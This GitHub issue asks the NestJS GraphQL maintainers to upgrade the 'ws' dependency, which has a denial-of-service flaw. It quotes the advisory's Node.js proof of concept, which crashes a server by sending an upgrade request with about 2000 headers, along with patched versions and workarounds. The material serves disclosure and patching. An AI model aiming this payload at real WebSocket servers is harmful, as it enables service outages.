Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Upgrade WS dependency - ws affected by a DoS when handling a request with many HTTP headers #3215

Closed
2 of 4 tasks
ojengwa opened this issue Jun 18, 2024 · 5 comments
Closed
2 of 4 tasks

Comments

@ojengwa
Copy link

ojengwa commented Jun 18, 2024

Is there an existing issue for this?

  • I have searched the existing issues

Current behavior

Description
Impact
A request with a number of headers exceeding theserver.maxHeadersCount threshold could be used to crash a ws server.

Proof of concept
const http = require('http');
const WebSocket = require('ws');

const wss = new WebSocket.Server({ port: 0 }, function () {
const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
const headers = {};
let count = 0;

for (let i = 0; i < chars.length; i++) {
if (count === 2000) break;

for (let j = 0; j < chars.length; j++) {
  const key = chars[i] + chars[j];
  headers[key] = 'x';

  if (++count === 2000) break;
}

}

headers.Connection = 'Upgrade';
headers.Upgrade = 'websocket';
headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
headers['Sec-WebSocket-Version'] = '13';

const request = http.request({
headers: headers,
host: '127.0.0.1',
port: wss.address().port
});

request.end();
});
Patches
The vulnerability was fixed in [email protected] (websockets/ws@e55e510) and backported to [email protected] (websockets/ws@22c2876), [email protected] (websockets/ws@eeb76d3), and [email protected] (websockets/ws@4abd8f6)

Workarounds
In vulnerable versions of ws, the issue can be mitigated in the following ways:

Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent.
Set server.maxHeadersCount to 0 so that no limit is applied.
Credits
The vulnerability was reported by Ryan LaPointe in websockets/ws#2230.

References
websockets/ws#2230
websockets/ws#2231
References
GHSA-3h5v-q93c-6h6q
websockets/ws#2230
websockets/ws#2231
websockets/ws@22c2876
websockets/ws@4abd8f6
websockets/ws@e55e510
websockets/ws@eeb76d3

Minimum reproduction code

GHSA-3h5v-q93c-6h6q

Steps to reproduce

No response

Expected behavior

Fix a major vulnerability.

Package version

12.1.1

Graphql version

graphql: 12.1.1

NestJS version

10.3.8

Node.js version

No response

In which operating systems have you tested?

  • macOS
  • Windows
  • Linux

Other

No response

@zhangyi921
Copy link

Waiting for this to be fixed.

@sawilde
Copy link

sawilde commented Jun 19, 2024

the @nestjs/graphql package has a dependancy on subscriptions-transport-ws which in turn has a dependancy on ws 5,6,7 and so we are still exposed to the reported ws vulnerability

image

This package however is no longer maintained and it is recommended to switch to graphql-ws instead

image

@kamilmysliwiec
Copy link
Member

#3217

@BizXcentral
Copy link

can jetbrains webstorm IDE as an executable js. to reinstall the node module...............the fix described above did not work and i wass unable to edit config to lower the .maxheaderscount

@BizXcentral
Copy link

i used the backup of my node modules to create executables using webstorm still new to code hope this is helpful in some way,,,,

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

No branches or pull requests

5 participants